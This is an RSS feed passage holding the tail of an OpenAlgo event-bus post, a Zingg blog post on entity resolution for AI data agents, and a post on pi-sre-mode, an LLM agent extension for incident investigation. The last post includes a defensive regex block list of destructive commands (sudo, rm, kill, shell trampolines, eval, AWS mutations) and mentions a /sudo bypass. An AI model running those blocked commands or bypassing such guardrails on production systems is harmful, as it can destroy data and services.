subscribers</li><li><strong>Async dispatch</strong>: subscribers run in a thread pool, never blocking the order response</li><li><strong>Error isolation</strong>: one subscriber crashing does not affect others</li></ol><p>When OpenAlgo’s requirements grow, multi user support, multi process deployment, event replay for debugging, the EventBus internals can swap to ZeroMQ or Redis. The event types, the subscribers, and the order services remain unchanged. The right amount of infrastructure today. The right interface for tomorrow.</p><h3>What This Means for You</h3><p><strong>If you are a trader using OpenAlgo</strong>: your notifications are now reliable. Basket orders send one clean summary. Sandbox mode behaves identically to live mode. Close position always logs. Every order type, every mode, every path, consistent behavior.</p><p><strong>If you are building strategies on OpenAlgo’s API</strong>: the groundwork is laid for strategy level positions, per strategy risk management, and analytics. These features become possible because the event bus captures what the broker throws away: which strategy owns which order.</p><p><strong>If you are a developer contributing to OpenAlgo</strong>: the order pipeline is now decoupled. Adding a new consumer is one file and one registration line. The ten order services never need to change for new side effects. And the code is simpler, 15 publish calls replaced 50 plus scattered dispatch points.</p><p><strong>If you are building your own trading platform</strong>: consider this lesson. The order execution path is the one place where everything connects. Log it, display it, alert it, track it, analyze it, risk manage it. Wire these directly, and you build a system where every new feature requires editing every existing service. Put an event bus in the middle, and you build a system where new features are new files, clean, isolated, and independently testable.</p><p>Event driven architecture is not about fancy technology or enterprise patterns. It is about a simple idea: <strong>announce what happened, and let everyone who cares decide what to do about it.</strong> For trading platforms, where reliability, consistency, and extensibility are not optional, it is the right foundation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a2957ff11a6" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>event-driven-architecture</category>
            <category>algorithmic-trading</category>
            <category>openalgo</category>
            <category>python</category>
            <category>open-source</category>
        </item>
        <item>
            <title><![CDATA[From “What Was Revenue Last Quarter?” to “Generate 30% More Revenue This Quarter”]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/from-what-was-revenue-last-quarter</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/from-what-was-revenue-last-quarter</guid>
            <pubDate>Thu, 12 Mar 2026 06:37:44 GMT</pubDate>
            <description><![CDATA[The a16z piece on context layers is spot on. Here’s what it means when you follow the argument all the way through.]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fCcn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fCcn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!fCcn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!fCcn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!fCcn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fCcn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png" width="1024" height="608" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:608,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!fCcn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!fCcn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!fCcn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!fCcn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A16z just published a piece that every data practitioner should read. <a href="https://a16z.com/your-data-agents-need-context/">Your Data Agents Need Context</a> makes the case that AI agents have been failing not because the models are bad, but because they&#8217;ve been operating without the business context they need to reason well &#8212; no understanding of how revenue is defined, which tables are the source of truth, what a fiscal quarter actually means for this organization. The fix, they argue, is a modern context layer: richer than a semantic layer, encompassing canonical entities, tribal knowledge, governance logic, and identity resolution.</p><p>They&#8217;re right. And I want to extend that argument into territory I think deserves more attention &#8212; because the implications of taking it seriously go well beyond the examples that are easiest to reach for.</p><p><strong>This Is Data Teams&#8217; Moment &#8212; The Question Is How Big We Think</strong></p><p>I wrote recently about <a href="https://www.learningfromdata.zingg.ai/p/the-data-teams-moment-how-agentic">how agentic AI is finally giving data teams their long-overdue moment</a>. For years, data teams spent budget cycles defending their existence. That is changing fast. AI agents are only as good as the data they run on, and the foundational work data teams have been quietly doing for years &#8212; quality, governance, lineage, entity resolution &#8212; is now the prerequisite for every enterprise AI initiative that matters.</p><p>The budget conversation is flipping &#8212; from &#8220;justify why we need you&#8221; to &#8220;how fast can you get us AI-ready?&#8221; That&#8217;s a genuine shift. But it comes with a risk: if the measure of success for data agents settles at &#8220;answering questions BI could already answer,&#8221; we&#8217;ll have spent enormous energy rebuilding, more expensively and with more failure modes, something that already worked.</p><p>Revenue last quarter? Your BI team has a Looker dashboard for that. It refreshes nightly, the fiscal calendar is baked in, and the CFO trusts it. The a16z piece walks through exactly why an agent struggles to replicate even this &#8212; wrong revenue definition, stale YAML, ambiguous tables. That&#8217;s a real problem worth solving. But it&#8217;s also worth asking: once we&#8217;ve solved it, what have we actually unlocked?</p><p>The answer, I&#8217;d argue, is: the foundation for something far more valuable.</p><p><strong>The Questions That Context-Plus-Identity Actually Makes Possible</strong></p><p>The a16z piece mentions that a modern context layer should go beyond metric definitions to include canonical entities and identity resolution. I want to take that seriously and spell out what it actually unlocks. Walk into any commercial or strategy meeting and listen for the questions that make the room go quiet &#8212; not because the answer is sensitive, but because nobody actually knows: How many real customers do we have &#8212; not accounts or rows in a CRM, but distinct humans or organisations with an active relationship? Who are our most valuable customers, across product lines, referrals, and renewal behaviour? What is our customers&#8217; lifetime value when &#8220;Acme Corp&#8221; in the CRM and &#8220;ACME Inc.&#8221; in billing are finally recognised as the same entity? Who can we upsell, and when, based on what similar cohorts did next? Which customers are three months from churning, based on signals scattered across product, support, and finance systems? These questions couldn&#8217;t be asked before not because agents were too dumb, but because the identity layer that makes them answerable was never in place.</p><p><strong>What Agents Actually Do with a Resolved Identity Graph</strong></p><p>This is where the discussion stops being theoretical. Once entity resolution is in place &#8212; once the agent knows <em>who</em> it&#8217;s reasoning about across every system &#8212; a new class of autonomous workflows becomes possible. Here are four that illustrate the shift.</p><p><strong>The Churn Prevention Agent.</strong> The agent monitors product usage daily &#8212; login frequency, feature adoption, support ticket volume &#8212; and when a customer&#8217;s pattern matches historical churn signatures, it autonomously cross-references their contract renewal date, checks their NPS history across systems, and drafts a personalised outreach for the customer success manager with a suggested intervention. The entire workflow collapses if the agent is seeing three different records for the same customer across the product database, CRM, and support tool. Entity resolution is not a prerequisite step &#8212; it is the agent&#8217;s eyes.</p><p><strong>The Upsell Timing Agent.</strong> A customer&#8217;s usage of Product A crosses a threshold. The agent compares their trajectory against cohorts of similar customers who went on to adopt Product B within 90 days, finds the pattern match, creates a qualified opportunity in the CRM, and alerts the account manager &#8212; without anyone pulling a report. The cohort comparison is only valid if the purchase history and usage data it&#8217;s drawing on are resolved to the same underlying customer. A fragmented identity graph means the agent is comparing apples to a mix of apples and ghosts.</p><p><strong>The Cross-Sell Across Household or Org Agent.</strong> In B2C &#8212; a bank, an insurer, a retailer &#8212; one household member has a mortgage, another has a current account, a third just opened a savings product. An agent that understands household relationships, not just individual records, can surface the cross-sell opportunity and route it to the right team before a competitor does. In B2B, the same logic applies at the organisational level: one division is already a customer, another is in a competitor&#8217;s trial. The agent identifies the relationship and acts. Both scenarios are structurally impossible without entity resolution at the household or org level &#8212; and both are routine once it&#8217;s in place.</p><p><strong>The Supplier Risk Agent.</strong> The agent continuously watches news feeds, financial filings, and logistics data for signals about key suppliers &#8212; credit downgrades, port disruptions, leadership changes. When a risk threshold is crossed, it maps which SKUs are affected, what inventory buffer exists, and which alternative suppliers are pre-qualified, then surfaces a recommended action to the procurement team. The catch: this requires knowing that &#8220;Acme Logistics Ltd&#8221; in the ERP, &#8220;ACME Logistics&#8221; in the contracts system, and &#8220;Acme Log.&#8221; in the invoicing platform are the same supplier. Without that, the agent is monitoring fragments, not entities &#8212; and the risk signal it&#8217;s supposed to catch slips through the gaps.</p><p><strong>What &#8220;Canonical Entities&#8221; Actually Requires</strong></p><p>It&#8217;s worth dwelling on the practical aspects of having canonical entities and identity resolution as components of a modern context layer &#8212; because this is where most implementations will either succeed or quietly fail.</p><p>I&#8217;ve written before about <a href="https://www.learningfromdata.zingg.ai/p/the-identity-crisis-why-getting-the">why building a unified customer identity is genuinely hard, and why so many teams feel like imposters for still wrestling with it</a>. The industry narrative treats unified identity as a prerequisite &#8212; something that should already be done before you get to the interesting work. In reality, the vast majority of organisations are still fighting this battle. They&#8217;re just not talking about it publicly because it feels like admitting failure.</p><p>Entity resolution &#8212; sometimes called record linkage, identity resolution, or master data management &#8212; is the discipline of determining that two records refer to the same real-world person, company, or object, even when names, formats, and identifiers don&#8217;t match. It requires probabilistic matching across messy strings, address normalisation, fuzzy deduplication, graph-based clustering, and ongoing maintenance as records evolve. It&#8217;s one of the oldest unsolved problems in enterprise data, not because people haven&#8217;t tried, but because the messiness is structural. Organisations grow through acquisition. Customers interact across channels. Nobody standardised data entry in 1997.</p><p>For the context layer to include this, entity resolution:</p><ul><li><p>Cannot be hard-coded into YAML or a semantic layer &#8212; it requires ML-powered probabilistic matching trained on actual data</p></li></ul><ul><li><p>Cannot be a one-time batch job &#8212; it needs to run continuously as new records arrive and existing ones change</p></li></ul><ul><li><p>Cannot live outside the warehouse &#8212; moving billions of records to a separate resolution system reintroduces the very data silos and lack of context that AI agents are struggling with</p></li></ul><ul><li><p>Cannot be fully automated &#8212; it needs human-in-the-loop workflows to handle edge cases and feed corrections back into the model</p></li></ul><p>This is not background infrastructure that someone configures once and forgets. It&#8217;s an ongoing data capability &#8212; closer in character to a production ML system than to a semantic layer definition. Teams that treat it as the former will find their context layers actually working. Teams that treat it as the latter will find their agents confidently wrong.</p><p><strong>What This Looks Like When Done Right</strong></p><p>Two examples illustrate what the context layer vision looks like when the entity resolution component is actually implemented well.</p><p>Fortnum &amp; Mason, the 300-year-old luxury British retailer, had customer data fragmented across restaurant bookings, email signups, online transactions, and in-store purchases. They tried a third-party resolution service first &#8212; it created non-persistent identifiers, offered limited visibility, and raised privacy concerns about sending their entire customer dataset externally. <a href="https://www.zingg.ai/case-studies/building-a-composable-cdp-using-entity-resolution-at-fortnum-mason">By implementing Zingg natively in their Databricks environment</a>, they built persistent, unified customer identifiers across all touchpoints, with full control over the matching process and privacy-compliant resolution that kept sensitive data in their own infrastructure. For the first time in their history, they could understand how customers were shopping across every channel and devise clienteling and personalisation around that. That&#8217;s not a BI question answered better. That&#8217;s a question that was previously unanswerable and an action that could not be done earlier.</p><p>Orthodox Union, operating over 40 websites and 5 mobile applications across disparate CRMs, used <a href="https://www.zingg.ai/case-studies/understanding-household-and-person-relationships-using-entity-resolution-on-snowflake">Zingg on Snowflake</a> to power their golden records &#8212; resolving not just individual identities but household relationships across their entire digital estate. Their agents now reason about constituents as whole people with family connections, not as disconnected records across systems.</p><p>These outcomes are exactly what the context layer is promising. They require taking the entity resolution component as seriously as the metric definition component &#8212; which means treating it as an engineering discipline, not a checkbox.</p><p><strong>The Architecture That Makes This Real</strong></p><p>The a16z piece lays out a thoughtful five-step architecture: access the right data, build context automatically, refine with human input, connect to agents, keep it self-updating. That framework is right. The entity resolution layer sits at the foundation of step two &#8212; and its quality determines the ceiling for everything above it.</p><p>Concretely: before an agent reasons about revenue, lifetime value, churn risk, or upsell opportunity, it needs a stable, persistent entity graph that tells it who &#8220;this customer&#8221; actually is across every system. That graph needs to be built where the data lives, continuously maintained and grounded in human judgement for edge cases :</p><p>Only on top of this identity foundation does the rest of the context layer &#8212; the metric definitions, the table routing, the tribal knowledge &#8212; become genuinely trustworthy. Knowing what &#8220;revenue&#8221; means is important. Knowing that the revenue from &#8220;Acme Corp&#8221; and &#8220;ACME Inc.&#8221; should be attributed to the same customer is what makes the answer actually right.</p><p><strong>The Real Payoff</strong></p><p>As I argued in <a href="https://www.learningfromdata.zingg.ai/p/the-data-teams-moment-how-agentic">The Data Team&#8217;s Moment</a>, AI doesn&#8217;t paper over data problems &#8212; it runs them at scale, in production, with consequences. A customer success agent operating on a fragmented identity layer doesn&#8217;t just give one bad recommendation; it systematically misjudges an entire customer segment, at machine speed, before anyone notices. The autonomous nature of agents is what makes the identity foundation so critical &#8212; errors compound rather than get caught.</p><p>But the inverse is equally true, and more exciting: an agent operating on a trustworthy identity graph can answer questions that were structurally impossible before. Not because the model got smarter, but because the data it&#8217;s reasoning on finally reflects reality.</p><p>AI agents that can tell you which accounts are actually the same company, which of those companies are in an expansion window, which customers share a behavioural signature with cohorts that churned six months ago &#8212; that&#8217;s the payoff the context layer is reaching for. The revenue-growth question is the proof of concept. The customer intelligence actions are the business transformation.</p><p>The context layer is necessary. Entity resolution is what makes it sufficient. And the questions worth asking, and the agents worth running &#8212; about customers, not metrics &#8212; are what make the whole thing worth building.</p><p><em>Building on the a16z post <a href="https://a16z.com/your-data-agents-need-context/">&#8220;Your Data Agents Need Context&#8221;</a> by Jason Cui and Jennifer Li. Further reading: <a href="https://www.learningfromdata.zingg.ai/p/the-data-teams-moment-how-agentic">The Data Team&#8217;s Moment</a> and <a href="https://www.learningfromdata.zingg.ai/p/the-identity-crisis-why-getting-the">The Identity Crisis</a>. If you&#8217;re building the entity resolution layer, <a href="https://www.zingg.ai/">Zingg</a> is open source and <a href="https://docs.zingg.ai/">fully documented</a>.</em></p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!fCcn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88025e21-5b43-4fcb-904b-f381c0b30091_1024x608.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Building an LLM-Assisted Incident Investigation Tool]]></title>
            <link>https://mrkaran.dev/posts/pi-sre-mode/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/pi-sre-mode/</guid>
            <pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[When you are debugging a production incident, you are forming hypotheses, testing them against evidence, ruling things out, trying not to confuse correlation with causation, and making triage calls under time pressure. The hard part is the reasoning – figuring out why the system is misbehaving, deciding what to stabilize first, knowing when to stop chasing a red herring.
But a surprising amount of the time is not spent reasoning. It is spent gathering evidence.
You are flipping between your metrics dashboard, log viewer, scheduler, cloud console, SSH sessions, deployment history, and a half-written scratchpad. You are trying to answer questions that are conceptually simple but operationally expensive:
What changed in the last hour?
Did the error spike start before or after the deploy?
Is this one sick node or a fleet-wide regression?
Did the autoscaling event line up with the HAProxy alert?
Are we looking at cause, effect, or a noisy side symptom?
Each question requires pulling data from a different tool, in a different format, often with timestamps in different timezones. Then you stitch them into a timeline before you can even begin hypothesizing.
That evidence-gathering phase is where LLMs turned out to be useful for me. Not because they “solve incidents” – the hypothesis formation, the triage, the mitigation calls stay human. But an LLM with access to the right CLIs can chew through the data-gathering faster than I can by hand.
I took the system I’d been building internally and rebuilt it as a package for Pi – a minimal, extensible terminal coding agent – called pi-sre-mode. This post is about the journey from a custom agent platform to a thin extension, and why the value turned out to live in content, not code.
The Predecessor: llmduck#
Before pi-sre-mode, I had a system called llmduck. It went through several rewrites – first in Go, then partially in Rust, and finally as a full TypeScript web application with a server (LLM orchestration, session persistence, WebSocket dispatch), a remote agent (command execution on production hosts with policy enforcement), and a React frontend with a split-panel investigation UI.
The agent had one tool: bash. All infrastructure interaction happened through CLIs – metrics, logs, scheduler state, cloud APIs, SSH. The LLM decided what to run, the agent executed it, and the server tracked the conversation. An SRE methodology skill guided the model through a structured investigation loop: triage, scope, gather evidence across metrics/logs/scheduling, correlate, conclude.
It worked. Give the model good operational guidance and read-only access to the right CLIs, and it can do a lot of the mechanical data gathering that normally burns 20-40 minutes during an incident. It can compare scheduler restarts with metric trends. It can correlate a failing backend with a cloud autoscaling event. It can notice that one host is missing metrics entirely and that the “healthy” cluster is only healthy because the remaining nodes are absorbing the load.
But the runtime was increasingly the wrong abstraction.
I had a custom server, a custom agent, a custom frontend, custom registries for skills and templates, custom session persistence, and a CI pipeline to build and deploy it all. The upstream/wrapper two-repo design – where the generic product lived on GitHub and the org-specific overlay was rsynced into it during build – still meant I was maintaining a bespoke investigation platform.
The more I worked on it, the more obvious it became: the content was the product. The runtime was plumbing.
The skills, the prompts, the methodology, the failure pattern library, the runbooks, the templates – that was where the value lived. Everything else was infrastructure I was maintaining just to get those skills into an LLM session.
Why Pi#
I did not want another chat app. I wanted the investigation to live where I already work: in the terminal, next to the real tools. Pi gave me that, and the specific SDK primitives it exposes turned out to map almost 1:1 to what I had been building by hand in llmduck.
A session looks like this:
/check-connectors
/incident
investigate elevated p99 latency for payments-api, start with a timeline
/report
/incident is an interactive wizard – pick a template, name the service, set a time window.

/check-connectors – verifies your infrastructure CLIs are reachable
/report – generates a structured postmortem from the investigation
/sudo – temporarily bypasses the read-only guardrails
How It Works#
Pi extensions are TypeScript modules that receive an ExtensionAPI object – hooks into the agent lifecycle, slash commands, session state, shell execution, UI primitives, and an inter-extension event bus. The whole extension is one file and the rest is markdown.
The SDK has a few primitives that matter here:
Carrying context across the conversation#
The before_agent_start hook fires before every agent turn. The extension builds a context block from the current incident state and appends it to the system prompt:
pi.on("before_agent_start", (event) => {
  return { systemPrompt: `${event.systemPrompt}\n\n${incidentContext}` };
});
Template, service name, time window, guardrail posture, overlay guidance, preferred skills – all injected automatically. You do not need to keep re-explaining “payments API, last 2 hours, high latency, read-only.” It follows you.
Blocking mutations before they execute#
The tool_call hook intercepts every tool invocation before execution:
pi.on("tool_call", async (event) => {
  const reason = getGuardrailBlockReason(event.toolName, event.input);
  if (reason) return { block: true, reason };
});
The guardrail implementation is regex-based with token boundary detection:
const BLOCKED_PATTERNS = [
  { pattern: /sudo/, reason: "sudo blocked" },
  { pattern: /rm/, reason: "file deletion blocked" },
  { pattern: /kill|pkill|killall/, reason: "process termination blocked" },
  { pattern: /bash\s+-c|sh\s+-c|zsh\s+-c/, reason: "shell trampoline blocked" },
  { pattern: /eval/, reason: "eval blocked" },
  { pattern: /\$\(/, reason: "subshell blocked" },
  { pattern: /systemctl\s+(restart|stop|start)/, reason: "systemctl mutation blocked" },
  { pattern: /aws\s+.*\s+(create|delete|update|put|run|start|stop|terminate|reboot)/,
    reason: "AWS mutation blocked" },
];
The token boundary prevents false positives – remove does not match the rm rule. The write and edit tools are unconditionally blocked. /sudo disables this when needed.
Persisting incident state#
Pi sessions are tree-structured – you can fork, navigate branches, switch contexts. Incident state is persisted as append-only entries:
pi.appendEntry<IncidentModeState>("incident-mode-state", state);
The extension hooks into session_tree and session_fork events to carry incident state across branches automatically. If you fork to explore a side hypothesis, the incident context comes with you.
Commands and UI#
pi.registerCommand() handles slash commands. The /incident wizard uses ctx.ui.select() and ctx.ui.input() for interactive setup – template selection, service name, time window. pi.exec() runs shell commands for connector checks.
Inter-extension events#
Pi has an in-process event bus (pi.events) for cross-package communication – same JS runtime, no network, just pub/sub between extensions loaded from different npm packages. The base package subscribes to a channel, the overlay emits to it at session start. The decoupling is at the import level, not the process level. More on this below.
Templates and Skills#
Most incidents fall into a handful of patterns – 5xx spike, high latency, OOM crash loop, deploy regression, service down. Each pattern has a different starting point: for latency you want percentile breakdowns and dependency response times first; for OOMs you want restart history and memory growth; for a deploy regression you want a before/after comparison.
Templates encode that. When you pick “High Latency” in the /incident wizard, the system prompt gets a focused directive: check p50/p95/p99, look for saturation signals, check upstream dependencies, identify whether queueing is involved. The model starts in the right place instead of flailing. You can also skip the wizard entirely – /incident-5xx payments-api last 2h sets up the investigation directly.
The investigation methodology itself lives in skills – markdown files that get loaded into context:
---
name: sre-methodology
allowed-tools: [Read, Bash, Grep]
---

## Core Loop

1. **Observe**: Gather data. Metrics, logs, scheduler state.
2. **Hypothesize**: Form a theory from the evidence.
3. **Test**: Run a specific query that would confirm or disprove.
4. **Evaluate**: Did the evidence match? Adjust and repeat.
The base package includes two skills: an observe-hypothesize-test-evaluate loop with first principles (evidence over speculation, build timeline before concluding, the loudest symptom is often downstream), and a concrete investigation playbook (scope the blast radius, check recent changes, follow the service path from edge to dependency, narrow using the template focus).
Without the methodology, the model tends to jump to conclusions or fixate on the noisiest symptom. With it, investigations are more systematic.
The Overlay System#
The public package is intentionally generic. The real leverage comes from overlays – private Pi packages that layer org-specific knowledge on top.
An overlay is a separate Pi package that emits an event at session start. The base package picks it up and merges it into the active configuration – templates, connector checks, skills, timezone hints, report output paths:
export default function myOrgOverlay(pi: ExtensionAPI) {
  const overlay: IncidentOverlay = {
    id: "my-org",
    priority: 100,
    timezoneHint: "IST (UTC+5:30); metrics are UTC, logs are IST.",
    reportPathPattern: "rca/{{date}}-{{slug}}.md",
    defaultSkills: ["org-sre-methodology"],
    promptPreamble: "Use org service topology, strict timezone handling...",
    connectorChecks: [ /* ... */ ],
    templates: [ /* ... */ ],
  };

  pi.on("session_start", () => {
    pi.emit("incident-mode:register-overlay", overlay);
  });
}
Templates merge by ID (overlay wins). Skills are deduplicated. Prompt preambles stack across overlays.
What an Overlay Adds#
At work, my private overlay adds investigation templates tied to specific services and a few thousand lines of operational knowledge as skills – how to query our metrics stack, how to read our logs, how to interpret scheduler state, and how to write the postmortem.
The interesting part is what those skills encode. Not just CLI syntax, but the gotchas you learn the hard way: timezone mismatches between tools, CPU metrics that mean something different depending on allocation config, log columns that don’t exist where you’d expect them, query patterns that accidentally match unrelated data. A failure pattern library teaches the model to recognize cascading failures, throughput cliffs (silence often means blocked, not recovered), and the difference between a root cause and a downstream symptom.
This is the kind of institutional knowledge that normally lives in someone’s head or a stale wiki page. Encoding it as skills means it gets applied consistently during every investigation.
Every team has different tools, naming conventions, auth assumptions, and definitions of “normal.” Mix that into the base package and you either leak private knowledge or make the tool unusably abstract. The overlay keeps them cleanly separated.
What the LLM Is Actually Good At#
This is not an “AI will run your ops team” post. The model does not do triage or make mitigation calls. What it does well is the stuff that eats wall-clock time:
Gathering and cross-referencing evidence#
The model does not stop at “good enough.” If you ask it to investigate a latency spike, it will check p50/p95/p99, break it down per node, compare against the pre-deploy baseline, look at upstream dependency latency, check if the error rate moved with it, and then go look at logs for the time window where the percentiles diverged.
Building timelines from messy evidence#
The model is good at stitching together outputs from different tools – logs in IST, metrics in UTC, a deploy at some offset, a scheduler restart in the middle, a cloud instance termination, a queue backup two minutes later – into a coherent narrative. It can produce a first-pass timeline like “memory growth started after deploy X, restart happened 14 minutes later, error rate rose only on one node, autoscaling replaced the sick instance, and downstream proxy alerts were a secondary symptom” faster than I can by hand.
Producing a first draft of the postmortem#
The postmortem is hardest to write right after the incident, precisely when it is most valuable. If the investigation happened inside Pi, /report turns the conversation into a structured markdown RCA draft immediately – timeline, 5 Whys, impact, action items. That alone saves a lot of the “I’ll write the postmortem tomorrow” drift.
Keeping the investigation disciplined#
The methodology skills help the model stay in evidence-first mode: observe before hypothesizing, build a timeline before concluding, distinguish cause from effect, state uncertainty explicitly, say when a connector is missing instead of guessing. Without this, the model tends to fixate on the noisiest symptom. With it, investigations follow an observe-hypothesize-test-evaluate loop.
Where It Still Fails#
Guardrails are not a sandbox#
The read-only protections are operational guardrails, not security boundaries. They catch accidental mutations during investigation, but they are regex patterns – not a sandbox. The real defense is least-privilege at the infrastructure level: an AWS IAM role scoped to read-only, a metrics API token without write access, an SSH key that can only reach jump hosts. If the credentials the agent has cannot mutate anything, it does not matter if a guardrail regex gets bypassed.
The model can still hallucinate#
It will sometimes invent a metric name, over-index on a noisy symptom, or keep running commands when the evidence is already sufficient. Good skills help but do not make it reliable enough to trust unattended.
The Bigger Lesson#
I spent weeks building and rebuilding a custom agent platform. Rewrote it twice in different languages. All plumbing. The things that actually made the investigations good were:
the SRE methodology skill that encoded how to think about incidents
the failure pattern library that taught the model to recognize cascade failures and throughput cliffs
the per-tool skills that encoded gotchas like “that CPU metric means something different in a cgroup” and “silence in the logs means blocked, not recovered”
the templates that seeded the investigation direction
the guardrails that kept the model from accidentally mutating production
All of those are markdown files and a few dozen regex patterns. I kept building runtime to deliver content. Once I had a platform that could host markdown skills and intercept tool calls, the custom stack had no reason to exist.
The code is at github.com/mr-karan/pi-sre-mode.
Fin!]]></description>
            <content:encoded><![CDATA[<p>When you are debugging a production incident, you are forming hypotheses, testing them against evidence, ruling things out, trying not to confuse correlation with causation, and making triage calls under time pressure. The hard part is the reasoning – figuring out <em>why</em> the system is misbehaving, deciding what to stabilize first, knowing when to stop chasing a red herring.</p>
<p>But a surprising amount of the <em>time</em> is not spent reasoning. It is spent gathering evidence.</p>
<p>You are flipping between your metrics dashboard, log viewer, scheduler, cloud console, SSH sessions, deployment history, and a half-written scratchpad. You are trying to answer questions that are conceptually simple but operationally expensive:</p>
<ul>
<li>What changed in the last hour?</li>
<li>Did the error spike start before or after the deploy?</li>
<li>Is this one sick node or a fleet-wide regression?</li>
<li>Did the autoscaling event line up with the HAProxy alert?</li>
<li>Are we looking at cause, effect, or a noisy side symptom?</li>
</ul>
<p>Each question requires pulling data from a different tool, in a different format, often with timestamps in different timezones. Then you stitch them into a timeline before you can even begin hypothesizing.</p>
<p>That evidence-gathering phase is where LLMs turned out to be useful for me. Not because they “solve incidents” – the hypothesis formation, the triage, the mitigation calls stay human. But an LLM with access to the right CLIs can chew through the data-gathering faster than I can by hand.</p>
<p>I took the system I’d been building internally and rebuilt it as a package for <a rel="external" href="https://pi.dev/">Pi</a> – a minimal, extensible terminal coding agent – called <a rel="external" href="https://github.com/mr-karan/pi-sre-mode"><code>pi-sre-mode</code></a>. This post is about the journey from a custom agent platform to a thin extension, and why the value turned out to live in content, not code.</p>
